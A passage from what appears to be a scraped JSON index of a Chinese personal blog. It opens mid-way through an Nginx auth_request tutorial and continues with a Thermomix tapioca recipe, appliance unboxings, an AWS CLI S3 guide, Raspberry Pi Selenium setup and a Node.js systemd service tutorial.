dict(request.headers) pprint.pprint(hdrs) # 認證伺服器 @route(\u0026#39;/auth\u0026#39;) def auth(): # 除錯用 show_headers() # 檢查 Session 是否已經存在 sid = is_active_session() if sid: # 將使用者認證資訊放置於標頭傳回（選用） # response.set_header(\u0026#39;X-Username\u0026#39;, sessions[sid]) # response.set_header(\u0026#39;X-Session\u0026#39;, str(sid)) # 傳回 HTTP 200 表示認證成功 return \u0026#39;OK \u0026#39; + str(sid) else: # 傳回 HTTP 401 表示認證失敗 abort(401, \u0026#34;Unathenticated\u0026#34;) # 傾聽所有介面的 18000 埠 run(host=\u0026#39;0.0.0.0\u0026#39;, port=18000) 進行測試 修改好 Nginx 伺服器設定檔，並準備好 Python 認證伺服器指令稿之後，就可以進行測試了。\n首先重新載入 Nginx 伺服器設定：\n# 重新載入 Nginx 伺服器設定 systemctl restart nginx 接著啟動 Python 認證伺服器：\n# 啟動 Python 認證伺服器 python3 auth.py 這樣就可以開啟瀏覽器瀏覽 /private/ 這個位置進行測試了。\n簡易 Token 認證實作方式 對於某些給程式使用的 API 伺服器來說，並不需要提供輸入帳號與密碼的登入介面，只需要驗證 token 是否正確即可，這種狀況就可以使用以下的方式實作。\nNginx 設定檔案的內容大致如下：\nserver { #... location /private/ { # 驗證用網址 auth_request /auth; # 將合格之 Token 存入 Cookie auth_request_set $token $upstream_http_x_auth_token; add_header Set-Cookie auth-token=$token; } # 認證用內部網址 location = /auth { # 設定為內部使用 internal; # 實際驗證用的伺服器 proxy_pass http://localhost:18000/auth; # 丟棄請求的內容，僅保留標頭資訊 proxy_pass_request_body off; proxy_set_header Content-Length \u0026#34;\u0026#34;; # 傳遞包含 Token 的 URI 給認證伺服器 proxy_set_header X-Request-URI $request_uri; # proxy_set_header X-Request-METHOD $request_method; } } 以下是對應的 Python 認證伺服器：\n#/usr/bin/env python from bottle import route, run, request, response, abort, redirect from urllib.parse import urlparse, parse_qs # 正確的 Token 集合 VALID_TOKENS = {\u0026#39;123abc\u0026#39;} # 檢查 Token 是否正確 def has_valid_token(): uri = request.headers[\u0026#39;X-Request-Uri\u0026#39;] parsed = urlparse(uri) parameters = parse_qs(parsed.query) if \u0026#39;token\u0026#39; in parameters: token = parameters[\u0026#39;token\u0026#39;][0] print(\u0026#34;從網址取得 Token：\u0026#34;, token) # 將 Token 寫入標頭，傳回 Nginx 伺服器 response.set_header(\u0026#39;X-Auth-Token\u0026#39;, str(token)) else: token = request.get_cookie(\u0026#39;auth-token\u0026#39;) print(\u0026#34;從 Cookie 取得 Token：\u0026#34;, token) if token in VALID_TOKENS: print(\u0026#34;Token 正確：\u0026#34;, token) return token else: print(\u0026#34;Token 錯誤：\u0026#34;, token) return None # 認證伺服器 @route(\u0026#39;/auth\u0026#39;) def auth(): # 檢查 Token token = has_valid_token() if token: # 傳回 HTTP 200 表示認證成功 return \u0026#39;OK \u0026#39; + str(token) else: # 傳回 HTTP 401 表示認證失敗 abort(401, \u0026#34;Unathenticated\u0026#34;) # 傾聽所有介面的 18000 埠 run(host=\u0026#39;0.0.0.0\u0026#39;, port=18000) 使用這種 token 認證方式時，只要將 token 放在網址當中，即可進行認證：\nhttps://192.168.0.1/private/?token=123abc 這種方式對於自動化的程式來說非常好用，我們可以在 API 伺服器上面產生 token 之後，將 token 傳給外部的程式，這樣外部的程式就可以直接透過 token 存取 API 伺服器。\n參考資料 NGINX Docs 0ink.net ","permalink":"https://blog.gtwang.org/linux/nginxs-auth-request-module-tutorial-examples/","summary":"\u003cp\u003e本篇介紹如何使用 Nginx 的 \u003ccode\u003eauth_request\u003c/code\u003e 模組，透過自己撰寫的指令稿檢查使用者的帳號與密碼。\u003c/p\u003e\n\u003cp\u003e若想限制網頁只給登入的使用者瀏覽的話，除了使用 \u003ca href=\"/linux/nginx-restricting-access-authenticated-user-ip-address-tutorial/\"\u003eNginx 基本的帳號密碼認證（auth_basic）\u003c/a\u003e之外，也可以自己撰寫認證用的指令稿，自己設計帳號密碼的檢查方式，以下是簡單的教學與示範。\u003c/p\u003e","title":"NGINX 使用 auth_request 自訂使用者認證機制教學"},{"content":"本篇介紹如何使用美善品料理機，自己製作黑糖粉圓，可用於珍珠奶茶或各式甜湯、冰品等。\n粉圓是許多甜點都會加入的配料，我這禮拜用美善品料理機自己製作了黑糖粉圓，感覺很不錯，以下是配方與製作過程。\n材料與配方 粉圓的材料主要就是太白粉、蕃薯粉與黑糖，配方大約如下：\n材料 份量 太白粉 120 公克 蕃薯粉 80 公克 黑糖 70 公克 水 115 公克 太白粉可以去全聯買這種日式的太白粉，它的成分就只有馬鈴薯澱粉而已，比較健康：\n地瓜粉在全聯也可以買的到：\n黑糖就用一般的就可以了：\n製作步驟 Step 1\n將黑糖放入美善品主鍋。\n秤重量的時候，直接用美善品的磅秤功能即可，不需要另外準備磅秤。\nStep 2\n倒入 115 公克左右的水。\nStep 3\n設定 5 分鐘 / 80 度 / 速度 2，加熱並攪拌至黑糖完全溶解。\nStep 4\n加入太白粉、番薯粉，以 20 秒 / 速度 3 拌勻。\nStep 5\n以刮刀取出。\nStep 6\n拿一些太白粉當作手粉，將它整成糰狀。\nStep 7\n用擀麵棍擀平。\nStep 8\n切成條狀後，再切塊、搓圓。\n如果不想花時間搓圓，可以直接切成方形或三角形。\n雖然形狀不同，但是吃起來都差不多。\n切成小塊的粉圓，表面要讓它沾一層太白粉，否則很容易又黏在一起。\n做好之後，可以先把一部分冷凍起來，要吃的時候再拿出來煮。\nStep 9\n將網鍋放入主鍋，加水至網鍋半滿左右，並將水煮開。\nStep 10\n水滾之後，放入粉圓，20 ~ 30 分鐘 / 100 度 / 速度 1，將粉圓煮熟至幾乎透明，只剩下中間有一些不透明。\nStep 11\n粉圓煮熟之後，用刮刀棒取出網鍋。\nStep 12\n這樣就完成自製的粉圓了，煮好的粉圓建議當天吃完，可搭配奶茶、綠豆湯、紅豆湯、花生湯、仙草、豆花、冰品等甜點一起吃。\n阿玄第一次自己做粉圓，拿來配紅豆薏仁湯。\n","permalink":"https://blog.gtwang.org/diy/thermomix-brown-sugar-tapioca-pearl-tutorial/","summary":"\u003cp\u003e本篇介紹如何使用美善品料理機，自己製作黑糖粉圓，可用於珍珠奶茶或各式甜湯、冰品等。\u003c/p\u003e\n\u003cp\u003e粉圓是許多甜點都會加入的配料，我這禮拜用\u003ca href=\"/unboxing/thermomix-food-processor-tm5-unboxing-20191026/\"\u003e美善品料理機\u003c/a\u003e自己製作了黑糖粉圓，感覺很不錯，以下是配方與製作過程。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"材料與配方\"\u003e材料與配方\u003c/h2\u003e\n\u003cp\u003e粉圓的材料主要就是太白粉、蕃薯粉與黑糖，配方大約如下：\u003c/p\u003e","title":"[美善品] 黑糖粉圓製作教學"},{"content":"本篇是 unopan 無油空氣油炸烤箱的簡單開箱以及使用文章。\n最近家裡有一台買美善品料理機送的 unopan 無油空氣油炸烤箱，市價大約是 3,300 元左右，開箱使用前順便拍些照片記錄一下。\n這是 unopan 無油空氣油炸烤箱的外箱（打開箱子之前外了先拍照，所以後來補照）。\n開箱。\n這一台就是 unopan 無油空氣油炸烤箱。\n這一台烤箱容量只有 14L，感覺不大，適合個人或小家庭使用。\n這是烤箱內部的樣子，有上火、下火設計，底下也有集屑盤，方便清理。\n這些是所有的配件，包含烤網、烤盤、接油盤、托盤夾，還有一條接地線。\n這是烤箱的操作面板，有許多快速的功能鍵，還有自動料理功能，非常適合懶人使用。\n烤箱使用前除了要把烤盤洗過之外，最好先讓它空烤過一次，這一台第一次空烤的時候沒什麼味道，感覺還不錯。\n接下來我要自己製作披薩，披薩的餅皮我以前是用手揉麵團，現在有了美善品料理機就直接交給機器揉，用美善品料理機製作披薩餅皮真的方便很多。\n接著在烤盤上鋪上烘培紙，放上披薩餅皮，塗上番茄醬，然後撒上自己想要吃的料。\n接著撒上起司，這樣就可以放入烤箱了。\n要烤披薩的話，只要按下自動料理功能鍵，選擇披薩的編號，就可以自動設定好溫度與時間等參數，\b這個功能對於懶人來說真的很方便。\n這是第一個烤出來的披薩，感覺都很剛好。\n第一個披薩出爐，阿玄就開動了。\n這是第二個披薩，感覺也很好。\n這個烤盤大小的披薩，感覺大約是一至兩人份左右。\n美善品料理機打出來的披薩餅皮真的很不錯。\n這是另外一個披薩，感覺好像熱風被烘培紙擋住了，起司比較沒有上色。\n","permalink":"https://blog.gtwang.org/unboxing/unopan-roaster-14l-red/","summary":"\u003cp\u003e本篇是 unopan 無油空氣油炸烤箱的簡單開箱以及使用文章。\u003c/p\u003e\n\u003cp\u003e最近家裡有一台買\u003ca href=\"/unboxing/thermomix-food-processor-tm5-unboxing-20191026/\"\u003e美善品料理機\u003c/a\u003e送的 unopan 無油空氣油炸烤箱，市價大約是 3,300 元左右，開箱使用前順便拍些照片記錄一下。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[開箱] unopan 無油空氣油炸烤箱 14L"},{"content":"本篇是我最近購買德國美善品 Thermomix TM5 多功能料理機的開箱文。\n德國美善品 Thermomix 是一台多功能的料理機，可以用來製作各種的中式、西式料理、湯品、麵包、飲料與甜點，操作非常簡單，讓廚藝不好的人也可以輕鬆煮出非常好吃的菜餚。\n最近美善品 Thermomix TM5 這一種機型大促銷，購買一台美善品 Thermomix TM5 價格是 54,490 元，贈送一個價值一萬元的主鍋，非常划算而且很實用，我也趁機買了一台，以下是開箱的記錄。\n這是這次的促銷方案。\n因為最近大促銷有贈送主鍋，所以會有兩箱包裹。\n在外箱上面有機器的序號，這個序號在註冊線上食譜時會需要填寫。\n在購買美善品料理機時，建議同時自己準備好木漿棉、紙巾、白醋，軟的木漿棉可用來刷洗主鍋（不要用硬的菜瓜布，以免刮傷），紙巾可用來擦拭主鍋底部，而白醋則是用於第一次洗鍋。\n開箱 收到美善品料理機之後，顧問會親自到府協助顧客開機，並教導機器的使用方式。\n開箱之後，首先會看到的是一張出貨商品確認表，上面有列出所有的內容物。\n接著是使用手冊與產品保固卡。\n產品保固卡這一份很重要，裡面有重要的資訊。\n打開後可以看到一張產品保固卡。\n美善品料理機的保固期是兩年。\n這一張是一對一開機售後服務問卷，在第一次開機時，美善品顧問會根據這一張問卷逐條說明。\n阿玄對於美善品的說明書很有興趣，一拿到手就一直在看。\n接下來看到的是蒸鍋組。\n這些是蒸鍋組、刮刀棒、蝴蝶棒與量杯。\n這個蝴蝶棒在製作某些要打發的料理時會用到，例如打發鮮奶油、蛋白等。\n這是一個量杯，也是主鍋的小蓋子。\n這是刮刀棒，可用來刮取主鍋內的食材。\n刮刀棒上面有一個倒鉤，是用來勾取網鍋用的。\n這是蒸鍋組，使用時就整個架在主鍋上，利用主鍋冒出來的蒸汽來蒸東西。\n這個蒸鍋有兩層，可以一次蒸兩種料理。\n接下來這一本是美善品料理機的使用說明書。\n還有附贈一大本美善品多功能料理機基礎食譜，旁邊那個 Cook-Key 是一個可讓美善品連上網路、查詢雲端食譜的設備。\n這一本食譜雖然很大一本，裡面內容也很豐富，不過雲端上面的食譜更多（而且時常更新），基本的料理方式看完之後，可以上網看更多不一樣的食譜。\n下面就是主要的美善品料理機了。\n這台就是美善品多功能料理機。\n這是打開塑膠袋後的樣子。\n中間的鍋子就是主鍋，不過一開始是鎖住的，要插電開機之後，才會解開。\n這是背面的樣子。\nCook-Key 這一個 Cook-Key 是可以讓美善品料理機透過 Wi-Fi 連上網路的雲端隨身碟，購買 TM5 機型時都會有附帶一個，單獨購買的話價格是 4,500 元。\n在外盒上面印有 Cook-Key 的序號，這一組序號在[註冊雲端食譜][2]的時候會用到。\n這一個就是 Cook-Key 雲端隨身碟。\n這是 Cook-Key 背面的樣子。\n開機 將美善品料理機的插頭插上之後，開始開機。\n因為要烹煮食物，所以美善品料理機的插座不可以跟其他電器共用，一定要是獨立的插座。\n使用前要先閱讀一下旁邊的重要告知事項。\n這是美善品料理機的操作面板，中間的螢幕是觸控式的，大部分的料理過程只要按照食譜的描述，設定烹煮時間、溫度與攪拌轉速三個部分，操作非常容易。\n開機之後就可以將煮鍋取下。\n將主鍋蓋打開，裡面還有一個網鍋。\n主鍋的內部有一支攪拌刀組，是用來攪拌或打碎食材用的。\n這是主鍋蓋。\n這一個是網鍋。\n這是主鍋底部的樣子。\n主鍋的攪拌刀組是可以拆卸下來的（將底座轉開就可以直接拆下來），當我們用美善品料理機煮完之後，就可以這樣拆開來清洗，非常方便。\n這是攪拌刀組。\n攪拌刀組在清潔時，可以用細長的管刷來刷洗。\n平常將攪拌刀組清洗好之後，可以像這樣放在底座上晾乾。\n如果擔心刀具危險，可以再將主鍋倒過來罩在上面。\n安裝主鍋與攪拌刀組也很簡單，先把攪拌刀組放回原來的位置。\n確定孔都有對準。\n再將底座蓋上之後，轉緊扣上即可。\n這樣就完成組裝了，非常簡單。\n安裝 Cook-Key Cook-Key 雲端隨身碟可以讓美善品料理機直接透過 Wi-Fi 無線網路上網，查詢線上的食譜，安裝的位置在側邊。\n安裝方式很簡單，只要把 Cook-Key 貼上去讓他吸住就可以了（它有磁鐵會吸住）。\n安裝好之後，它會發亮。\n設定 Wi-Fi 無線網路 裝好 Cook-Key 之後，設定一下 Wi-Fi 無線網路，讓美善品可以透過家中的無線網路上網，以下是設定步驟。\nStep 1\n進入主選單。\nStep 2\n在主選單的最下方，選擇「設定」。\nStep 3\n選擇「Wi-Fi」。\nStep 4\n選擇「新增連線」。\nStep 5\n點選「下一步」。\nStep 6\n選擇自己的 Wi-Fi 無線網路。\nStep 7\n輸入 Wi-Fi 無線網路的密碼。\nStep 8\n等待建立連線。\nStep 9\n這樣就完成網路的設定了。\n如果自己的 Cook-Key 尚未上網註冊的話，請先[上網註冊][2]一下。畫面的右下角有 Cook-Key 的 ID，這個資訊在註冊時會用到。\n如果沒有上網註冊，就會停在這裡。\n如果已經註冊好的話，就會開始進行同步。\n完成同步之後，就可以開始使用雲端食譜了。\n洗鍋（初次使用） 第一次使用美善品料理機時，要先用白醋洗一下主鍋。 Step 1\n倒入白醋。\nStep 2\n倒入清水。\n就這樣以白醋加清水洗一下主鍋。\nStep 3\n蓋上主鍋蓋，量杯也放上去蓋住中間的孔。\nStep 4\n設定時間、溫度與轉速，先在螢幕上點選要設定的項目，再用右邊的旋鈕調整。\n時間設定為 5 分鐘，溫度設定為 50 度，轉速設定為 1。\n等待主鍋清洗完成後，就可以開始使用美善品料理機烹煮料理了。\n清洗主鍋注意事項 主鍋在清洗完之後，如果要馬上烹煮，一定要把下方的插頭擦乾。\n一定要確定底部的插頭完全乾燥，才可以進行烹煮。\n贈送主鍋 這一箱是這次買 TM5 時免費贈送的主鍋，一個價值一萬元。\n開箱。\n有時常在煮的話，多一個主鍋會很方便，一個鍋子在煮的時候，另外一個就可以準備下一道菜。\n","permalink":"https://blog.gtwang.org/unboxing/thermomix-food-processor-tm5-unboxing-20191026/","summary":"\u003cp\u003e本篇是我最近購買德國美善品 Thermomix TM5 多功能料理機的開箱文。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e德國美善品 Thermomix 是一台多功能的料理機，可以用來製作各種的中式、西式料理、湯品、麵包、飲料與甜點，操作非常簡單，讓廚藝不好的人也可以輕鬆煮出非常好吃的菜餚。\u003c/p\u003e","title":"[開箱] 德國美善品 Thermomix TM5 多功能料理機"},{"content":"本篇介紹如何在購買美善品料理機之後，於 Cookidoo 美善品線上食譜網站註冊與查詢。\n在購買美善品料理機時，如果有一起購買 Cook-Key 的話，就可以在 Cookidoo 美善品線上食譜網站上註冊，免費使用半年，以下是註冊的步驟教學。\nStep 1\n開啟 Cookidoo 美善品線上食譜網站，點選右上方的「註冊」連結。\nStep 2\n填入自己的電子郵件信箱，並自己設定一組密碼，然後選擇自己所在的國家或地區。\nStep 3\n送出填寫的資訊之後，接著要驗證電子郵件。\nStep 4\n打開自己的電子郵件信箱，查看收件夾，收取從美善品寄來認證信，點選信件中的「啟用我的帳號」按鈕。\nStep 5\n啟用帳戶之後，接著進行個人化設定。\nStep 6\n輸入自己的姓名。\nStep 7\n選擇自己購買的美善品料理機型號。\nStep 8\n輸入美善品機器序號。\nStep 9\n輸入 Cook-Key 序號。\nStep 10\n選擇是否讓美善品追蹤並分析自己的使用行為，以及是否要收到電子報。\nStep 11\n設定完成，接下來就可以開始瀏覽食譜了。\nStep 12\n在 Cookidoo 美善品線上食譜網站首頁，可以瀏覽各種食譜，或是直接搜尋。\nStep 13\n例如搜尋「南瓜濃湯」，就可以看到好幾種南瓜濃湯的食譜，其中素食的食譜也不少。\nStep 14\n這一道純素食的「南瓜濃湯」，做法簡單而且很好喝，很適合初學者。\n下面有詳細的食材、作法以及營養價值標示，這裡的做法都是根據美善品料理機的操作來寫了，所以只要有美善品料理機，配合這種專用食譜，就算是完全不會煮菜的人，也可以輕鬆做出非常高級的餐點。\n","permalink":"https://blog.gtwang.org/unboxing/thermomix-cookidoo-online-cookbook-registration-tutorial-20191019/","summary":"\u003cp\u003e本篇介紹如何在購買美善品料理機之後，於 Cookidoo 美善品線上食譜網站註冊與查詢。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e在購買美善品料理機時，如果有一起購買 Cook-Key 的話，就可以在 Cookidoo 美善品線上食譜網站上註冊，免費使用半年，以下是註冊的步驟教學。\u003c/p\u003e","title":"美善品線上雲端食譜 Cookidoo 註冊教學"},{"content":"本篇介紹如何使用 AWS CLI 命令列界面，存取自己的 S3 設備，上傳、下載、管理檔案。\n安裝 AWS 命令列界面 AWS Command Line Interface 是 AWS 官方提供的指令工具，可用來操作各種 AWS 服務，當然也可以用來操控 S3。\n若在 Debian/Ubuntu Linux 中，可用 apt 直接安裝 AWS 命令列界面套件：\n# 安裝 AWS 命令列界面 sudo apt install awscli 若在 CentOS Linux 中，也可以用 yum 安裝：\nsudo yum install awscli 另外亦可用 pip 來安裝：\npip3 install awscli 基本設定 將 S3 認證用的金鑰存放在 ~/.aws/credentials 這個設定檔中（若此檔案不存在則自己新增），此檔案可以存放多個 S3 帳號的金鑰，其內容格式如下：\n[default] aws_access_key_id=ASFHDGN345JGS436FG53 aws_secret_access_key=45G54d4cbGDF56bnFsfdgh489dfGHDdfgDFGHs4e [mys3] aws_access_key_id=HJN456GUGZ45XF94FG87 aws_secret_access_key=FGadsgf543DFGjtgy45DSzgtSdfGH67NHzxdpqZ3 為了後續執行指令方便，我們把共通的 aws 指令參數放在 ARGS 變數中：\n# 指令參數設定 ARGS=\u0026#34;--profile=mys3 --endpoint-url=https://s3.example.com\u0026#34; 這裡的 --profile 是指定要使用的金鑰（若不設定則會使用 default），而 --endpoint-url 則是用來指定 S3 的主機。\n若在測試階段，自己的 S3 伺服器 SSL 憑證不是有效憑證的話，可以加上 --no-verify-ssl 取消驗證憑證。\n這裡的設定方式主要是針對私有的 S3 設備，若為一般性的使用者，可以使用 aws configure 指令以互動式的方式，產生所需要的設定檔。\n關於 AWS CLI 的各種通用參數，可以參考 AWS CLI 官方文件。\n建立 Bucket 接著就可以使用 aws 指令開始操作 S3，首先使用 s3 mb 指令建立一個 bucket：\n# 建立 bucket aws ${ARGS} s3 mb s3://gtwang make_bucket: gtwang s3 ls 指令可用來列出 bucket 或是檔案：\n# 列出所有 bucket aws ${ARGS} s3 ls 2019-10-24 02:04:36 gtwang 複製檔案 若要複製檔案，可用 s3 cp 指令，例如上傳檔案：\n# 複製檔案（上傳） aws ${ARGS} s3 cp test.txt s3://gtwang/ upload: ./test.txt to s3://gtwang/test.txt 若要查看 bucket 中的檔案列表，可以使用 s3 ls 指令：\n# 列出檔案 aws ${ARGS} s3 ls s3://gtwang 2019-10-24 02:31:52 44 test.txt s3 cp 指令亦可用來下載檔案：\n# 複製檔案（下載） aws ${ARGS} s3 cp s3://gtwang/test.txt . download: s3://gtwang/test.txt to ./test.txt 若要上傳（或下載）整個目錄，可以加上 --recursive 參數：\n# 上傳目錄 aws ${ARGS} s3 cp myfolder s3://gtwang/myfolder --recursive upload: myfolder/test.php to s3://gtwang/myfolder/test.php upload: myfolder/test2.txt to s3://gtwang/myfolder/test2.txt upload: myfolder/test.tmp to s3://gtwang/myfolder/test.tmp 同步檔案 s3 sync 指令就類似 Linux 的 rsync，可用來同步檔案或目錄，並且可以指定排除規則：\n# 同步檔案或目錄（上傳） aws ${ARGS} s3 sync myfolder s3://gtwang/myfolder --exclude *.tmp upload: myfolder/test.php to s3://gtwang/myfolder/test.php upload: myfolder/test2.txt to s3://gtwang/myfolder/test2.txt 也可用來下載：\n# 同步檔案或目錄（下載） aws ${ARGS} s3 sync s3://gtwang/myfolder myfolder 透過 HTTPS/HTTP 分享檔案 若要讓別人可以透過網頁瀏覽器直接下載 S3 上面的檔案，可以使用 s3 presign 指令針對特定檔案產生一個下載專用網址，只要知道這個網址的人就可以直接下載檔案（不需要帳號或密碼）：\n# 產生下載專用網址 aws ${ARGS} s3 presign s3://gtwang/test.txt https://s3.example.com/gtwang/test.txt?AWSAccessKeyId=HJN456GUGZ45XF94FG87\u0026Signature=QnAqHel7Qpvun7jQJnGSQET98MQ%3D\u0026Expires=1571964188 這個下載網址預設的有效期間是一小時，若要自訂有效期間，可以用 --expires-in 參數指定時間（單位為秒）：\n# 產生下載專用網址（有效期間為一週） aws ${ARGS} s3 presign s3://gtwang/test.txt --expires-in 604800 重新命名（搬移）檔案 若要將 S3 上面的檔案重新命名，或是搬到新的位置，可以使用 s3 mv 指令：\n# 重新命名（搬移）檔案 aws ${ARGS} s3 mv s3://gtwang/test.txt s3://gtwang/new_name.txt move: s3://gtwang/test.txt to s3://gtwang/new_name.txt 刪除檔案（或目錄） 若要刪除 S3 上面的檔案或目錄，可以使用 s3 rm 指令：\n# 刪除檔案（或目錄） aws ${ARGS} s3 rm s3://gtwang/myfolder delete: s3://gtwang/myfolder 刪除 Bucket 若要刪除空的 bucket，可以使用 s3 rb 指令：\n# 刪除空的 bucket aws ${ARGS} s3 rb s3://gtwang 參考資料 AWS CLI s3 指令文件 ","permalink":"https://blog.gtwang.org/linux/linux-aws-command-upload-download-s3-file-tutorial-examples/","summary":"\u003cp\u003e本篇介紹如何使用 AWS CLI 命令列界面，存取自己的 S3 設備，上傳、下載、管理檔案。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"安裝-aws-命令列界面\"\u003e安裝 AWS 命令列界面\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://docs.aws.amazon.com/zh_tw/cli/latest/userguide/cli-chap-welcome.html\"\u003eAWS Command Line Interface\u003c/a\u003e 是 AWS 官方提供的指令工具，可用來操作各種 AWS 服務，當然也可以用來操控 S3。\u003c/p\u003e","title":"Linux 使用 aws 指令上傳、下載、管理 S3 檔案教學與範例"},{"content":"本篇介紹如何在樹莓派 Raspberry Pi 中安裝並使用 Python + Selenium 控制 Chromium 瀏覽器進行各種自動化操作。\n安裝 Selenium 與 Chromium WebDriver 正常來說樹莓派在安裝好之後，預設的瀏覽器就是 Chromium，不需要另外安裝，如果有例外的狀況需要自行安裝的話，可用 apt 安裝：\n# 安裝 Chromium 瀏覽器 sudo apt-get install chromium-browser 安裝 Python 的 Selenium 模組：\n# 安裝 Selenium 模組 pip3 install selenium 從 launchpad.net 下載 Chromium 瀏覽器專用的 WebDriver，由於樹莓派是用 ARM 的 CPU，下載時要選擇 armhf (Updates) 的版本。\n# 下載 Chromium 瀏覽器 WebDriver wget http://launchpadlibrarian.net/361669488/chromium-chromedriver_65.0.3325.181-0ubuntu0.14.04.1_armhf.deb 下載之後，接著安裝：\n# 安裝 Chromium 瀏覽器 WebDriver sudo dpkg -i chromium-chromedriver_65.0.3325.181-0ubuntu0.14.04.1_armhf.deb 正常來說 Chromium 瀏覽器的 WebDriver 會放在 /usr/lib/chromium-browser/chromedriver。\nPython Selenium 指令稿 以下是一個使用 Python 的 Selenium 模組，控制瀏覽器的簡單範例。\nfrom selenium import webdriver # 使用 Chromium 的 WebDriver driver = webdriver.Chrome(\u0026#39;/usr/lib/chromium-browser/chromedriver\u0026#39;) # 開啟 Google 首頁 driver.get(\u0026#39;https://www.google.com/\u0026#39;) # 關閉瀏覽器 # driver.close() 參考資料 小狐狸事務所 ","permalink":"https://blog.gtwang.org/iot/raspberry-pi/raspberry-pi-install-chromium-chrome-driver/","summary":"\u003cp\u003e本篇介紹如何在樹莓派 Raspberry Pi 中安裝並使用 Python + Selenium 控制 Chromium 瀏覽器進行各種自動化操作。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"安裝-selenium-與-chromium-webdriver\"\u003e安裝 Selenium 與 Chromium WebDriver\u003c/h2\u003e\n\u003cp\u003e正常來說樹莓派在安裝好之後，預設的瀏覽器就是 Chromium，不需要另外安裝，如果有例外的狀況需要自行安裝的話，可用 apt 安裝：\u003c/p\u003e","title":"樹莓派 Raspberry Pi 使用 Python + Selenium 控制 Chromium 瀏覽器"},{"content":"本篇示範如何將自己開發的 Node.js 應用程式與 Linux 的 Systemd 服務管理系統者整合，提供正式的網路服務。\nNode.js 應用程式在開發階段可能都是放在自己的個人電腦上面執行，等到程式開發完成之後，才會需要佈署至正式的 Linux 伺服器環境，而正式上線的服務跟開發用的環境是有差異的，以下介紹如何將 Node.js 應用程式整合進 Linux 標準的 Systemd 系統中，讓系統自動啟動並管理服務行程。\nSystemd 是目前 Linux 系統上標準的服務管理系統，不熟悉 Systemd 的人建議可以參考 Systemd 基本使用教學與以及自訂服務教學。\nNode.js 應用程式 建立一個測試用的 Node.js 應用程式，然後將這段程式碼儲存於 /opt/my_node_app.js（或是其他任何自己喜歡的地方都可以）：\nconst http = require(\u0026#39;http\u0026#39;); const hostname = \u0026#39;0.0.0.0\u0026#39;; const port = process.env.NODE_PORT || 7000; const server = http.createServer((req, res) =\u0026amp;gt; { res.writeHead(200, { \u0026#39;Content-Type\u0026#39;: \u0026#39;text/plain\u0026#39; }); res.write(\u0026#34;Hello, world.\u0026#34;); res.end(); }); server.listen(port, hostname, () =\u0026amp;gt; { console.log(\u0026#34;Server running at http://\u0026#34; + hostname + \u0026#34;:\u0026#34; + port + \u0026#34;/\u0026#34;); }); 建立好這個 Node.js 應用程式之後，先以手動啟動的方式，確認這個應用程式可以正常運作：\n# 手動啟動 Node.js 應用程式 node /opt/my_node_app.js Server running at http://0.0.0.0:7000/ 預設它會在 7000 連接埠開啟一個網頁伺服器，以瀏覽器打開 http://localhost:7000/ 或 http://伺服器IP位址:7000/ 應該就可以看到 Hello, world. 的訊息文字。\n整合 Node.js 與 Systemd 參考自訂服務教學，自己建立一個 Systemd 服務設定檔 /etc/systemd/system/my_node_app.service：\n[Unit] After=network.target # 服務名稱 Description=My Node.js App [Service] Type=simple # 設定環境變數 Environment=NODE_PORT=3001 NODE_ENV=production # 執行服務的使用者 User=ubuntu # 啟動服務指令 ExecStart=/usr/bin/node /opt/my_app.js # 不正常停止時重新啟動 Restart=on-failure [Install] WantedBy=multi-user.target 其中的 Environment 設定可以指定服務執行時的各種環境變數，這裡的 NODE_PORT 會傳入程式中，作為開啟的連接埠號碼，而 NODE_ENV=production 則是設定 Node.js 以 production 環境執行程式，可增加執行效率。\n建立好設定檔之後，設定好權限：\nsudo chmod 644 /etc/systemd/system/my_node_app.service 更動設定檔之後，要重新載入 Systemd 設定檔：\n# 重新載入 Systemd 設定檔 sudo systemctl daemon-reload 接著就可以按照一般的 Systemd 操作方式，啟動自訂的 my_node_app 伺服器了：\n# 啟動自訂的 my_node_app 伺服器 sudo systemctl start my_node_app 